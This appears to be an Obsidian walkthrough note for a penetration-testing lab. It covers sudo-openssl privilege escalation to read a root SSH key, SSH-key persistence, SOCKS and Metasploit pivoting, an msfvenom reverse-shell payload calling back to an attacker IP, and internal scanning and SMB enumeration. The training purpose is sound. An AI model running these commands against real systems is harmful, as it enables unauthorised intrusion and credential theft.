+> [!info]+ Obsidian NoteBanner Code — Do Not Run Manually
ris:FileList
- Obsidian’s Dataview plugin executes this block automatically when the note opens.
dv.view("00Meta/Views/NoteBanner")loads the shared visual banner from the vault; it is unrelated to the pentest workflow.- Do not paste it into Bash, PowerShell, Burp, a browser console, or a target shell.
- If the banner is missing, check the Dataview plugin and shared view file rather than changing attack commands.
[!dashboard] Module context Module: Attacking-Enterprise-Networks · Section: 6 · Status: in-progress Tier III · Offensive
Summary ris:Eye
Picking up from the RCE foothold established in 5 - Web Application Enumeration, this section locks in persistence on dmz01 via SSH, escalates to root through a sudo-abusable openssl binary, and grabs the root SSH key so we never have to re-exploit the web application to get back in. With a stable root shell, dmz01 becomes the pivot point into the internal 172.16.8.0/23 range using SSH dynamic port forwarding and, alternatively, Metasploit’s autoroute. Host discovery turns up a Domain Controller, a Windows host running NFS and an exposed DotNetNuke (DNN) CMS, and a Tomcat box that turns out to be a dead end. Pillaging an anonymously-mounted NFS export on the DNN host recovers a web.config file with cleartext DNN administrator credentials, which are then used to gain code execution as the mssql$sqlexpress service account, escalate to NT AUTHORITY\SYSTEM via SeImpersonate/PrintSpoofer, and dump the local SAM and LSA secrets, yielding our first set of domain credentials (hporter:Gr8hambino!). Read-only enumeration through the webshell (abusing the machine account’s domain membership) then maps the password policy, group structure, and a dozen Kerberoastable service accounts — setting up the Kerberoast-driven lateral movement in 7 - Lateral Movement.
Conceptual Information ris:FileList
[!info]+ Mental Model — Pivoting Changes the Network Path, Not the Target
ris:Global
- The attacker cannot directly route to the internal subnet, but the compromised dual-homed host can. A pivot makes selected attacker traffic enter through that host and continue toward the internal destination.
- An SSH dynamic forward creates a SOCKS proxy. Applications that understand SOCKS—or are wrapped by
proxychains—open TCP connections through the SSH server. It does not transparently route every packet type.- A local/remote port forward maps one listening port to one destination. A SOCKS proxy supports many TCP destinations. A framework autoroute teaches Metasploit modules which session reaches a subnet.
- Proxychains cannot carry Nmap’s raw SYN or ICMP packets, which is why the scan changes to TCP connect mode (
-sT) and skips host discovery (-Pn). This is a transport limitation, not arbitrary syntax.- Scanning locally from
dmz01with a static Nmap binary avoids SOCKS limitations but places a tool and output files on the target. The choice is a trade-off between capability and operational footprint.
| Path | Traffic flow | Best use | Important limitation |
|---|---|---|---|
SSH -D SOCKS | Tool → local SOCKS → dmz01 → internal service | Browsers, SMB/HTTP clients, TCP connect scans | Proxy-aware TCP only |
SSH -L local forward | Local port → dmz01 → one internal host:port | Exposing a single web/DB service locally | One mapping per destination |
SSH -R remote forward | Pivot-side port → SSH tunnel → attacker service | Making an attacker listener reachable through a pivot | Listener binding and GatewayPorts rules |
| Metasploit autoroute | Metasploit module → existing session → subnet | Framework modules and scans | Generally limited to the framework |
| Tool on pivot | Command executes directly on dmz01 | Raw scanning, packet capture, local routes | Leaves binaries/output on the host |
[!failure]+ Pivot Troubleshooting Ladder
fas:CircleXmark
- On the pivot, confirm the internal interface and route with
ip addrandip route; do not assume the CIDR from memory.- From the pivot itself, test one known internal host/port. If this fails, the tunnel cannot fix the underlying reachability problem.
- On the attacker, confirm the SOCKS/forward listener with
ss -lntpand match its version/port toproxychains.conf.- Test with a simple TCP client such as
proxychains nc -nv <internal-ip> <port>before using a complex scanner.- If Nmap shows every host down, use
-sT -Pn; if DNS names fail, use IPs first or configure proxy-aware DNS deliberately.
[!important]+ Where This Sits in the PTES Flow
fas:TriangleExclamation
- Foothold obtained externally → this section is Post-Exploitation (persistence) followed by a fresh Information Gathering / Vulnerability Analysis / Exploitation cycle, this time against the internal network reached through the pivot
- Persistence work always comes first. A shell obtained through a web application exploit chain is fragile — the app can crash, the session can drop, an admin can patch the vulnerability. Lock in access before doing anything else
- Pivoting is not optional here: the RoE in Section 2 specifically extends scope to
172.16.8.0/23and172.16.9.0/23if external access is gained, and it has been
[!tip]+ Why Two Persistence Mechanisms
fas:Lightbulb
- The
srvadmcredential pair is convenient but fragile — a password reset or account lockout breaks it without warning- The root SSH private key is far more durable: keys are rarely rotated on internal Linux boxes, and root access means it survives most low-level remediation
- Always prefer key-based persistence over password-based where the option exists, and always grab both when possible so there’s a fallback
[!warning]+ Pivoting Adds Operational Risk
ris:Radar
- Every additional hop (SSH pivot, Metasploit route, SOCKS proxy) adds latency and a new thing that can silently break mid-assessment
GatewayPorts,sshd_configedits, and any other host configuration changes made to enable pivoting must be logged for the report appendix and reverted at engagement close- A static Nmap binary uploaded to a pivot host is a forensic artefact — track every file placed on client systems for the same reason
Commands and Implementation fas:Terminal
[!important]+ Before You Enumerate Through the Foothold
fas:TriangleExclamation
- Prompt awareness: Commands may run on the attacker,
dmz01, or a Windows host reached through the pivot. Confirm withhostnamebefore copying a command from one step to another.- Route before scan: A service on
172.16.8.0/23is unreachable from the attacker until the SOCKS/Metasploit route exists. Test the route with one known host and port before launching broad enumeration.- Know the scanner limitation:
proxychainscarries TCP connections, so use Nmap-sT -Pn; raw SYN (-sS) and ICMP discovery do not traverse a SOCKS proxy in the expected way.- Persistence changes the target: Adding SSH keys is appropriate in this lab and only when authorised. Record the account, key, file modified, and removal step for the final cleanup log.
- Credential hygiene: Store every recovered username, password, and hash with its source and validation status. Do not spray newly found credentials indiscriminately.
| Step | Machine/context | What success looks like | How it advances the chain |
|---|---|---|---|
| 1. SSH foothold | Attacker → dmz01 | Reliable SSH session as the recovered user | Replaces the fragile web shell |
| 2. Local privesc | On dmz01 | sudo/GTFOBins path yields uid=0 | Enables route discovery, packet capture, and authorised persistence |
| 3. Root persistence | On dmz01 | Root SSH key authentication works | Provides a recoverable pivot point |
| 4. SSH SOCKS | Attacker plus dmz01 | Local SOCKS port accepts proxied connections | Makes internal TCP services reachable by proxy-aware tools |
| 5. Autoroute | Metasploit session | Route table contains the internal subnet | Alternative framework-managed pivot path |
| 6. Host discovery | dmz01 or routed attacker | Live IP list for 172.16.8.0/23 | Narrows expensive scans to responding hosts |
| 7. Static Nmap | On dmz01 | Port/service inventory for each live host | Builds the internal attack-surface map |
| 8. SMB quick hits | Through pivot | Domain name, shares, users, or null-session data | Establishes AD context and candidate identities |
| 9. DNN/NFS | Through pivot | DNN asset and exposed share contents identified | Provides credentials or application access |
| 10. SQL console RCE | In DNN/MSSQL context | Harmless OS command output appears | Creates code execution on the Windows application host |
| 11. SeImpersonate | Windows host | New process runs as NT AUTHORITY\\SYSTEM | Grants local SYSTEM for secret collection |
| 12. Local secrets | Windows host then attacker | SAM/LSA material parses into accounts/hashes | Supplies the first domain credential candidates |
Step 1 — SSH In and Confirm the Foothold ris:LockPassword
[!info]+ Operator Context — Replace the Fragile Web Shell
ris:LockPassword
- Starting state: audit evidence yielded an
srvadmcredential candidate and SSH/22 is externally reachable.- Execution: authenticate from the attacker using the explicit username/host; verify the host key deliberately rather than suppressing it without review.
- Mechanism: SSH creates an encrypted authenticated session independent of the web application’s vulnerable request lifecycle.
- Read the result: successful authentication proves the credential is valid for SSH;
id/hostnameconfirm it lands on the expected account/host rather than a reused credential elsewhere.- Handoff: preserve both paths until privilege escalation is confirmed, then use SSH as the stable base for local and internal enumeration.
ssh srvadm@10.129.203.111
# password: ILFreightnixadm!
[!info]+ Command Breakdown
ris:LockPassword
- srvadm:ILFreightnixadm!: the credential pair recovered from the web application exploitation chain in 5 - Web Application Enumeration
- SSH is preferred over the unstable reverse shell whenever it is reachable — it survives disconnects and gives a proper TTY
- Interpretation:
dmz01(10.129.203.111 externally, 172.16.8.120 on a second internal NIC) is a dual-homed jump box — exactly the kind of host that bridges an external DMZ to an internal segment
Step 2 — Local Enumeration and GTFOBins Privilege Escalation fas:TriangleExclamation
[!info]+ Operator Context — From
sudo -lto Rootfas:RocketLaunch
- Starting state: an authenticated local user may have explicitly delegated sudo commands even without knowing the root password.
- Execution:
sudo -lasks sudoers which commands this identity may run, as which user, on which host, and whether a password is required.- Mechanism: GTFOBins documents legitimate program features that can escape their intended purpose when the entire program runs as root—for example, shell escapes, file writes, or command hooks.
- Read the result: the exact path and allowed arguments matter. A similarly named binary or restricted argument pattern may invalidate a published technique.
- Verification: after the escape,
idmust showuid=0; do not infer root merely from a changed prompt.- Handoff: record the sudoers rule as the root cause and the minimum escape sequence as proof before making any persistence changes.
srvadm@dmz01:~$ sudo -l
Matching Defaults entries for srvadm on dmz01:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User srvadm may run the following commands on dmz01:
(ALL) NOPASSWD: /usr/bin/openssl
[!info]+ Command Breakdown
ris:Command
- id and sudo -l are the first two commands to run on any new foothold — group membership and sudo rights account for the overwhelming majority of real-world Linux privilege escalation paths
- NOPASSWD: /usr/bin/openssl:
srvadmcan run the OpenSSL binary as root with no password prompt- Interpretation: check GTFOBins for any binary that appears in a
sudo -llisting before reaching for a custom exploit — OpenSSL has a documented file-read primitive that is perfect here
srvadm@dmz01:~$ LFILE=/root/.ssh/id_rsa
srvadm@dmz01:~$ sudo /usr/bin/openssl enc -in $LFILE
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...
-----END OPENSSH PRIVATE KEY-----
[!success]+ Finding — SSH Root Private Key Recovered via GTFOBins
ris:Keyris:Key
- The GTFOBins entry for
openssldocuments a privileged file read:openssl enc -in "$LFILE"decrypts nothing (no cipher specified) and simply echoes the file back out, but since it runs as root it bypasses file permissions- Reading
/root/.ssh/id_rsadirectly is a better target than/etc/shadowhere — a private key gives durable, high-trust SSH access instead of a hash that still needs cracking- Copy the key output into a local file, save it in your notes immediately — a lost Pwnbox session means redoing every step to get back to this point
[!example]+ PayloadsAllTheThings — Linux Sudo and GTFOBins Reference
ris:CommandPayloadsAllTheThings — Linux Privilege Escalation links its maintainedSUDO,NOPASSWD,GTFOBins, and SSH-key sections. The OpenSSL file-read primitive is one instance of a generalsudo -lworkflow.id sudo -l find / -perm -4000 -type f 2>/dev/null getcap -r / 2>/dev/null LFILE=/root/.ssh/id_rsa sudo openssl enc -in "$LFILE"
sudo -l: inventories explicitly delegated commands before noisier enumeration or kernel exploitation- SUID and capabilities: catch privilege paths that do not appear in
sudoers- OpenSSL: a privileged file-read primitive; target reusable credential material such as SSH keys when engagement rules allow it
- Cross-reference every unusual binary with GTFOBins, then record the exact permitted command and resulting security boundary crossed.
Step 3 — Establish Persistence as Root ris:Key
[!info]+ Operator Context — SSH Key Persistence
ris:Key
- Starting state: root access exists interactively, but it depends on an escalation path and the original user credential.
- Attacker side: use a dedicated assessment keypair; protect the private key and identify it clearly so it is not confused with personal keys.
- Target side: place only the public key in root’s
authorized_keys, ensure the.sshdirectory/file ownership and restrictive permissions satisfy OpenSSH checks.- Mechanism: future SSH authentication proves possession of the private key; the private key never needs to be copied to the client host.
- Verification: open a new session using the explicit key and confirm
uid=0before trusting persistence.- Cleanup: log the exact public-key line and remove only that line later; verify subsequent key authentication fails without disturbing legitimate keys.
chmod 600 dmz01_key
ssh -i dmz01_key root@10.129.203.111
root@dmz01:~#
[!info]+ Command Breakdown
fas:Terminal
- chmod 600: SSH refuses to use a private key with overly permissive file modes
- Confirms full root access to
dmz01via a durable key-based credential, independent of thesrvadmpassword- Interpretation: we now have two independent routes back into the internal network — a password pair and a root private key — which is the definition of solid persistence
[!example]+ PayloadsAllTheThings — Linux SSH Persistence Reference
ris:CommandPayloadsAllTheThings — Linux Persistence catalogues SSH, account, SUID, cron, shell-profile, and service persistence. This lab reuses an existing root key rather than changing the host, which is lower-impact and easier to clean up.chmod 600 dmz01_key ssh -o IdentitiesOnly=yes -i dmz01_key root@10.129.203.111 ssh-keygen -lf dmz01_key
chmod 600: satisfies OpenSSH’s private-key permission checkIdentitiesOnly=yes: prevents the SSH agent from offering unrelated keys and obscuring which credential succeededssh-keygen -lf: records the key fingerprint without exposing the private key in screenshots or reports- Avoid creating new persistence when an existing authorised credential is enough; any host modification must be logged and removed during closeout.
Step 4 — Set Up Pivoting: SSH Dynamic Port Forwarding ris:Global
[!info]+ Operator Context — SOCKS Through
dmz01ris:Global
- Starting state:
dmz01has an interface/route into172.16.8.0/23, while the attacker has no direct route.- Execution: the attacker opens SSH to
dmz01with a dynamic forward bound to a chosen local port; this creates the SOCKS listener on the attacker.- Mechanism: a proxy-aware tool asks SOCKS to connect to an internal IP/port. SSH carries the request to
dmz01, which originates the final TCP connection using its internal reachability.- Verification: confirm the local listener, match its SOCKS version/port in
proxychains.conf, and test one known internal TCP port before a scan.- Limit: DNS, UDP, ICMP, raw SYN scans, and applications ignoring the proxy may leak or fail;
proxychainsdoes not magically create a kernel route.- Handoff: annotate commands as proxied and keep the SSH session alive; when it drops, every dependent tool path also drops.
ssh -D 8081 -i dmz01_key root@10.129.203.111
[!info]+ Command Breakdown
ris:Global
- -D 8081: opens a local SOCKS proxy on port 8081 that tunnels all forwarded traffic through the SSH session on
dmz01- Any tool that supports a SOCKS proxy (or is wrapped with
proxychains) can now reach hosts ondmz01’s second NIC (172.16.8.120, subnet172.16.8.0/23) directly from the attack host- See the Dynamic Port Forwarding with SSH and SOCKS Tunneling section of the Pivoting, Tunneling, and Port Forwarding module for the full theory
netstat -antp | grep 8081
tcp 0 0 127.0.0.1:8081 0.0.0.0:* LISTEN 122808/ssh
grep socks4 /etc/proxychains.conf
socks4 127.0.0.1 8081
[!info]+ Command Breakdown
fas:Terminal
- netstat: confirms the local SOCKS listener is up before trusting any tool that depends on it
- /etc/proxychains.conf: the port number here must match the
-Dport exactly, or every proxied command will simply time out- This vault uses
socks4in the sample;socks5also works and supports UDP/DNS resolution through the tunnel if needed
proxychains nmap -sT -p 21,22,80,8080 172.16.8.120
|S-chain|-<>-127.0.0.1:8081-<><>-172.16.8.120:80-<><>-OK
|S-chain|-<>-127.0.0.1:8081-<><>-172.16.8.120:22-<><>-OK
|S-chain|-<>-127.0.0.1:8081-<><>-172.16.8.120:21-<><>-OK
|S-chain|-<>-127.0.0.1:8081-<><>-172.16.8.120:8080-<><>-OK
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
[!info]+ Command Breakdown
ris:Scan2
- -sT: proxychains can only relay TCP connect scans, not raw SYN scans, so
-sTis mandatory through a SOCKS tunnel- The
S-chainlines confirm each connection routed correctly through the chain before Nmap reports the result- Interpretation: this scan validates the pivot itself before spending time scanning the wider internal range — always sanity-check the tunnel against a known host first
[!image]+ Configuring the SOCKS Proxy in Firefox firefox-socks-proxy-8081-config.png (SHA-256 · GPG signature) Manual proxy configuration pointed at
127.0.0.1:8081(SOCKS v5), used later to browse internal web applications directly through the pivot from the attack host’s browser.
[!tip]+ Prefer Modern C2/Proxy Tooling Over Raw ProxyChains
fas:LightbulbRawproxychains+ SSH-Dis reliable but painfully slow for large scans. Chisel or Ligolo-ng provide much faster HTTP/TLS-tunnelled SOCKS proxies with a TUN-interface option, avoiding the per-connection overhead of the SOCKS4/5 chain model entirely.
[!example]+ PayloadsAllTheThings — SSH SOCKS and Proxychains Reference
ris:CommandPayloadsAllTheThings — Network Pivoting Techniques maps the SSH-DSOCKS proxy and Proxychains workflow used in this step, plus local (-L) and remote (-R) forwarding alternatives.ssh -N -f -D 127.0.0.1:8081 -i dmz01_key root@10.129.203.111 proxychains curl http://172.16.8.20/ proxychains nmap -sT -Pn -p21,22,80,445 172.16.8.20 ssh -N -L 13389:172.16.8.20:3389 -i dmz01_key root@10.129.203.111
-N -f: keeps only the tunnel and backgrounds the SSH client after authentication-D: exposes a general-purpose local SOCKS listener for proxy-aware tools-sT -Pn: required when Nmap traffic crosses a user-space TCP proxy that cannot carry raw SYN or ICMP packets-L: maps one internal service to one local port when a full SOCKS proxy is unnecessary
Step 5 — Alternative Pivoting: Metasploit Autoroute ris:Command
[!info]+ Operator Context — Framework-Managed Routing
ris:Command
- Starting state: a live Meterpreter/session on a host that can reach the internal subnet is available.
- Execution: autoroute associates the subnet with that session inside Metasploit’s routing table; it does not edit the attacker’s operating-system routes.
- Mechanism: compatible Metasploit modules consult the framework route and send their connections through the session transport.
- Verification: display routes, then use a small framework TCP probe against a known internal service. A listed route without a working session provides no connectivity.
- Trade-off: convenient for framework modules, but ordinary shell tools still need SOCKS/port forwarding or execution on the pivot.
- Handoff: choose one primary pivot method for clarity and document the alternative rather than layering both without a reason.
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.15 LPORT=443 -f elf > shell.elf
scp -i dmz01_key shell.elf root@10.129.203.111:/tmp
[!info]+ Metasploit Pivot Part 1 — Build and Transfer the Payload on the Attacker
ris:Command
- Run both lines on the attacking host, not inside Metasploit or on
dmz01.msfvenomcreates a 32-bit Linux ELF callback; confirmdmz01architecture first and changelinux/x86if necessary.- Set
LHOSTto the attacker VPN IP and keepLPORTidentical to the handler below.- The second line copies the resulting
shell.elfto/tmpthrough the root SSH key.- Verify the local file with
file shell.elfand record it for target cleanup.
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> use exploit/multi/handler
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set payload linux/x86/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set lhost 10.10.14.15
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set LPORT 443
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> exploit
[*] Started reverse TCP handler on 10.10.14.15:443
[!info]+ Metasploit Pivot Part 2 — Configure the Matching Handler
ris:Command
- Start
msfconsoleon the attacker and enter only the prompt commands shown; bracketed[*]text is output.- The handler payload must exactly match the payload embedded by msfvenom.
lhostandLPORTmust also match the attacker address/port used during generation.exploitstarts the listener and waits; leave it running before executingshell.elfondmz01.- A started handler proves only local readiness, not that the target callback can reach it.
root@dmz01:/tmp# chmod +x shell.elf
root@dmz01:/tmp# ./shell.elf
[!info]+ Metasploit Pivot Part 3 — Execute on
dmz01fas:Linux
- SSH to
dmz01, change to/tmp, and run these commands there; omit the displayed prompt text when copying.chmod +xadds execute permission to the transferred ELF../shell.elfinitiates the reverse connection to the already waiting attacker handler.- If no session appears, verify architecture, LHOST/LPORT, file permissions, and egress connectivity in that order.
- The program remains an assessment artefact and must be removed during cleanup.
[*] Meterpreter session 1 opened (10.10.14.15:443 -> 10.129.203.111:58462)
(Meterpreter 1)(/tmp) > getuid
Server username: root
[!info]+ Metasploit Pivot Part 4 — Verify the Session Identity
ris:FileList
- This block is handler/Meterpreter output, not commands for Bash.
session 1 openedproves the reverse transport completed between target and attacker.- Run
getuidat the Meterpreter prompt;Server username: rootconfirms the session inherited root.- Also check routing/interfaces from the session before attaching internal routes.
- If the session immediately dies, return to the target and inspect process/architecture/security-control behaviour.
[!info]+ Command Breakdown
ris:ShareBox
- msfvenom -p linux/x86/meterpreter/reverse_tcp: an ELF Meterpreter payload matching the pivot host’s architecture
- Uploaded via scp using the persistence key rather than the DNN file manager, since this is a Linux target and SCP is already available
- Interpretation: the second, independent Meterpreter session gives access to Metasploit’s own routing and SOCKS tooling as an alternative to the raw SSH tunnel — useful when a module needs a Metasploit session specifically
(Meterpreter 1)(/tmp) > background
[msf] >> use post/multi/manage/autoroute
[msf] post(multi/manage/autoroute) >> set SESSION 1
[msf] post(multi/manage/autoroute) >> set subnet 172.16.8.0
[msf] post(multi/manage/autoroute) >> run
[+] Route added to subnet 172.16.0.0/255.255.0.0 from host's routing table.
[!info]+ Command Breakdown
ris:Global
- post/multi/manage/autoroute: adds a route through the Meterpreter session so any Metasploit module (scanner, exploit, auxiliary) can reach the subnet without a separate proxy
- Compare against Step 4: SSH
-Dgives a general-purpose SOCKS proxy for any tool;autoroutegives routing that is scoped to Metasploit modules only. Use whichever fits the next task- See the Introduction to MSFVenom section of Using the Metasploit Framework for a refresher on payload crafting
[!example]+ PayloadsAllTheThings — Metasploit Pivoting Reference
ris:CommandPayloadsAllTheThings — Network Pivoting Techniques also covers Metasploit routing.autoroutemakes the session a route for framework modules; addingsocks_proxyexposes that route to external TCP tools through Proxychains.use post/multi/manage/autoroute set SESSION 1 set SUBNET 172.16.8.0 set NETMASK 255.255.254.0 run route print use auxiliary/server/socks_proxy set VERSION 5 run -j
route print: verifies the route before troubleshooting downstream scanners255.255.254.0: represents the actual/23; avoid silently broadening it to/16socks_proxy: bridges Metasploit routes into a SOCKS listener for non-framework clients- Keep the SSH route as a fallback: a dropped Meterpreter session removes every route attached to it.
Step 6 — Host Discovery on 172.16.8.0/23 ris:Radar
[!info]+ Operator Context — Discover From the Correct Network Position
ris:Radar
- Starting state: the pivot host has a directly connected or routed view of the authorised internal CIDR.
- Execution: run discovery on
dmz01when ICMP/ARP/raw scanning is useful; through SOCKS, use targeted TCP checks because those packet types do not traverse the proxy.- Mechanism: different discovery probes test different signals—ARP on the local segment, ICMP echo, or TCP responses on expected ports.
- Read the result: “no response” means only that the selected probe received none; it does not prove the IP is unused.
- Verification: combine methods and compare against routes/neighbour data. Save a live-host list with timestamp because DHCP and host state can change.
- Handoff: feed only responsive/candidate addresses into detailed scans to reduce traffic and improve evidence organisation.
# Metasploit method
[msf] post(multi/manage/autoroute) >> use post/multi/gather/ping_sweep
[msf] post(multi/gather/ping_sweep) >> set rhosts 172.16.8.0/23
[msf] post(multi/gather/ping_sweep) >> set SESSION 1
[msf] post(multi/gather/ping_sweep) >> run
[+] 172.16.8.3 host found
[+] 172.16.8.20 host found
[+] 172.16.8.50 host found
[+] 172.16.8.120 host found
[!info]+ Discovery Variant 1 — Run Inside Metasploit
ris:Radar
- Lines beginning
[msf]are entered inmsfconsole; the[+] host foundlines are output.- Set
rhoststo the authorised/23andSESSIONto the pivot session carrying the route.- This module probes from/through that session; it is an alternative to the following shell loop.
- A missing host may simply block the probe type, so do not treat absence as proof the address is unused.
- Save the responding list as candidates for targeted port scans.
# SSH tunnel method — a Bash one-liner from dmz01 itself
root@dmz01:~# for i in $(seq 254); do ping 172.16.8.$i -c1 -W1 & done | grep from
64 bytes from 172.16.8.3: icmp_seq=1 ttl=128 time=0.472 ms
64 bytes from 172.16.8.20: icmp_seq=1 ttl=128 time=0.433 ms
64 bytes from 172.16.8.120: icmp_seq=1 ttl=64 time=0.031 ms
64 bytes from 172.16.8.50: icmp_seq=1 ttl=128 time=0.642 ms
[!info]+ Command Breakdown
ris:Radar
- for i in $(seq 254); do ping … & done: fires 254 backgrounded pings in parallel and filters for successful replies — dramatically faster than a serial sweep
- Running host discovery from the pivot host itself avoids the latency penalty of tunnelling every ICMP packet through SOCKS, which is why it beats Nmap-through-proxychains for this specific task
- Interpretation: three new hosts beyond
dmz01itself —172.16.8.3,.20,.50— become the internal enumeration target list
[!example]+ PayloadsAllTheThings — Internal Host Discovery Reference
ris:CommandPayloadsAllTheThings — Network Discovery links its maintained Nmap, Netcat, ping, Masscan, and passive-discovery recipes. Run discovery on the pivot whenever possible to avoid SOCKS latency and protocol limits.nmap -sn 172.16.8.0/23 -oA internal_discovery for host in 172.16.{8..9}.{1..254}; do ping -c1 -W1 "$host" >/dev/null && echo "$host"; done for port in 22 80 135 139 445 3389 5985; do nc -zvw1 172.16.8.20 "$port"; done ip neigh
- Nmap
-sn: combines several host-discovery probes and writes reusable output- Ping/Netcat loops: simple fallbacks when only base utilities exist on the pivot
ip neigh: passive local-neighbour evidence that can find hosts which ignore ICMP- Treat every discovered address as a candidate until service enumeration identifies its role.
Step 7 — Full Host Enumeration with a Static Nmap Binary ris:Scan2
[!info]+ Operator Context — Scanning Locally on the Pivot
ris:Scan2
- Starting state: live internal candidates exist, but SOCKS prevents some Nmap scan types and adds latency.
- Attacker side: obtain a trusted static binary matching the pivot architecture and calculate its hash.
- Target side: transfer it to a temporary path, verify size/hash/architecture, execute scans locally, and store output in a tracked directory.
- Mechanism: scanning on
dmz01gives Nmap native access to raw sockets and local routing, improving discovery and fingerprinting.- Operational cost: the binary and results are client-host artefacts. Rate limits and scan intensity still matter even in a lab-like internal scope.
- Handoff: retrieve output to the attacker, map ports to service tasks, and remove the binary/output during cleanup.
root@dmz01:/tmp# ./nmap --open -iL live_hosts
Nmap scan report for 172.16.8.3
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos
135/tcp open epmap
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd
593/tcp open unknown
636/tcp open ldaps
Nmap scan report for 172.16.8.20
PORT STATE SERVICE
80/tcp open http
111/tcp open sunrpc
135/tcp open epmap
139/tcp open netbios-ssn
445/tcp open microsoft-ds
2049/tcp open nfs
3389/tcp open ms-wbt-server
Nmap scan report for 172.16.8.50
PORT STATE SERVICE
135/tcp open epmap
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
8080/tcp open http-alt
[!info]+ Command Breakdown
ris:Scan2
- Uploading a static Nmap binary (via the techniques from File Transfers) and scanning locally on
dmz01is far faster than tunnelling a full-range TCP scan throughproxychains- —open -iL live_hosts: only report open ports, reading targets from the file produced by the ping sweep
- Interpretation:
172.16.8.3— Kerberos + LDAP + kpasswd = Domain Controller, unlikely to be directly exploitable but worth a NULL session check172.16.8.20— Windows host, HTTP and NFS is an unusual and interesting combination172.16.8.50— Windows host with a non-standard8080/http-altworth a look
[!example]+ PayloadsAllTheThings — Pivot-Local Nmap Reference
ris:CommandPayloadsAllTheThings — Network Discovery recommends separating port discovery from deeper service enumeration. A static binary ondmz01preserves raw-packet support that Proxychains would remove../nmap -Pn -sS -p- --min-rate 1000 -iL live_hosts -oA internal_tcp_all ./nmap -Pn -sC -sV -p53,80,88,111,135,139,389,445,464,593,636,2049,3389,8080 -iL live_hosts -oA internal_services
- First pass: produces a complete port inventory without multiplying script traffic across 65,535 ports
- Second pass: fingerprints only the open services and runs default NSE checks against them
-oA: keeps normal, grepable, and XML evidence together for later extraction and reporting- Remove the uploaded binary and output files at closeout after securely transferring the required evidence.
Step 8 — Active Directory Quick Hits: SMB NULL Session ris:LockPassword
[!info]+ Operator Context — Establish Domain Context Without Credentials
ris:LockPassword
- Starting state: internal hosts expose SMB, but the domain name, server roles, share policy, and anonymous permissions may be unknown.
- Execution: route SMB-capable tooling through the pivot and attempt unauthenticated/guest negotiation once against selected hosts.
- Mechanism: SMB negotiation reveals dialect and server/domain metadata before or during session setup; a null session requests resources without user credentials.
- Read the result: domain/hostname leakage is not the same as anonymous share access. A session may connect yet enumerate nothing due to authorisation.
- Handoff: populate exact DNS/domain names, identify likely DC/file servers, and reserve credentialed enumeration for recovered accounts.
- Modern note: SMB signing, guest restrictions, and tool behaviour differ by Windows/Samba version, so preserve complete output rather than only success markers.
proxychains enum4linux -U -P 172.16.8.3
[+] Server 172.16.8.3 allows sessions using username '', password ''
Domain Name: INLANEFREIGHT
Domain Sid: S-1-5-21-2814148634-3729814499-1637837074
[+] Host is part of a domain (not a workgroup)
[E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED
[E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED
[E] Unexpected error from polenum:
[E] Failed to get password policy with rpcclient
[!info]+ Command Breakdown
ris:LockPassword
- -U -P: request the user list and password policy over an anonymous (NULL) SMB session
- A NULL session is accepted (confirming SMB signing/hardening gaps worth noting), but user and policy enumeration are both blocked with
ACCESS_DENIED- Interpretation: this is a partial dead end — the domain name and SID leak (useful for later SID-based attacks), but no user list or lockout policy to plan a spray around. Fall back to Kerbrute against a guessed username list, or continue enumerating other hosts first
[!failure]+ Dead End — Tomcat on 172.16.8.50
fas:CircleXmarkfas:CircleXmark
- Port
8080on172.16.8.50is the latest Tomcat 10, no public pre-auth exploits available- Brute forced the Tomcat Manager login with
auxiliary/scanner/http/tomcat_mgr_loginthrough Metasploit/proxychains against a standard credential list — every attempt failed, includingtomcat:changethis- On an internal assessment, an exposed Tomcat Manager login with no successful brute force is normal and not worth a finding on its own — reserve that for an externally-exposed instance or a successful login leading to a JSP web shell
[!tip]+ enum4linux vs enum4linux-ng
fas:LightbulbThe originalenum4linuxis Perl, unmaintained, and its output (as seen in Step 8) is littered withUse of uninitialized valuewarnings. enum4linux-ng is a Python rewrite with structured (JSON/YAML) output and clearer error handling:proxychains enum4linux-ng -A 172.16.8.3
[!example]+ PayloadsAllTheThings — AD and SMB Enumeration Reference
ris:CommandPayloadsAllTheThings — Active Directory Attack links its maintained AD enumeration and internal-share playbooks. A NULL session can leak the domain name, SID, shares, users, or password policy even when some RPC calls are denied.proxychains enum4linux-ng -A 172.16.8.3 proxychains nxc smb 172.16.8.3 -u '' -p '' --shares --users --pass-pol proxychains smbclient -N -L //172.16.8.3 proxychains rpcclient -U '' -N 172.16.8.3 -c 'lsaquery;enumdomusers;getdompwinfo'
- Use several clients: SMB servers often permit one information class while denying another
- Domain SID: remains valuable for RID cycling and later SID-based validation even when usernames are blocked
- Password policy: must be known before any password-spray decision
- Record partial exposure accurately; an accepted anonymous session is not the same as unrestricted anonymous enumeration.
Step 9 — Enumerating 172.16.8.20: DotNetNuke (DNN) ris:Global
[!info]+ Operator Context — Correlate the Web App With Exposed Storage
ris:GlobalLine
- Starting state: internal scanning identifies a web application on
172.16.8.20and NFS/RPC-related exposure may reveal its deployment files.- Execution: browse the application through the pivot, fingerprint DNN/version/features, enumerate exports, and inspect readable files offline.
- Mechanism: the application and share are separate services but may expose the same deployment content; configuration files can bridge anonymous storage access into authenticated application access.
- Read the result: a DNN administrator credential in a share has high provenance value; verify which environment/account it belongs to before using it.
- Handoff: authenticate to DNN minimally and identify administrative functionality capable of querying the backend rather than immediately uploading arbitrary tooling.
- Finding chain: report exposed NFS/configuration secrets separately from the impact of using those secrets in the application.
proxychains curl http://172.16.8.20
[!info]+ DNN Reachability Check — Run on the Attacker Through SOCKS
